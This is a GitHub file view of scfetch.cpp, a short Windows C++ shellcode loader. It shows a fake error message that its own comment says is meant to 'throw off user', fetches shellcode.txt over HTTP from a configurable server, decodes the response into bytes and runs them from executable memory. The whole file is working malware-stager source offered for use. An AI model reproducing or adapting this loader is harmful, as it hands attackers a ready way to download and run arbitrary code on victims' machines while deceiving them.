-
Notifications
You must be signed in to change notification settings - Fork 24
Expand file tree
/
Copy pathscfetch.cpp
More file actions
71 lines (57 loc) · 1.78 KB
/
scfetch.cpp
File metadata and controls
71 lines (57 loc) · 1.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// Coded by s1ege greetz to all GSH members
#include <winsock2.h>
#include "windows.h"
#include <iostream>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
using namespace std;
HINSTANCE hInst;
WSADATA wsaData;
int messagebox()
{
int msgboxID = MessageBox(
NULL,
L"Error to throw off user. ",
L"Error:",
MB_ICONEXCLAMATION | MB_OK
);
return msgboxID;
}
int main()
{
messagebox();
WSADATA wsaData;
SOCKADDR_IN SockAddr;
char buf[8192];
int bytesReceived;
string response;
// address hosting shellcode
string server = "127.0.0.1";
// HTTP GET, enter path to shellcode.txt file here..
string get_http = "GET /shellcode.txt HTTP/1.1\r\nHost: " + server + "\r\nConnection: close\r\n\r\n";
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct hostent* host = gethostbyname(server.c_str());
SockAddr.sin_port = htons(80);
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
connect(sock, (SOCKADDR*)(&SockAddr), sizeof(SockAddr));
// send HTTP GET request to server
send(sock, get_http.c_str(), strlen(get_http.c_str()), 0);
// store http response
while ((bytesReceived = recv(sock, buf, 8192, 0)) > 0)
{
response += buf;
}
// convert shellcode string from http response into byte array
string shellcode_str = response.substr(response.find("\r\n\r\n"));
unsigned char shellcode[8192];
for (int i = 0; i < shellcode_str.size() / 4; ++i)
{
shellcode[i] = std::strtoul(shellcode_str.substr(i * 4 + 2, 2).c_str(), nullptr, 16);
}
// allocate memory and execute shellcode in memory
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}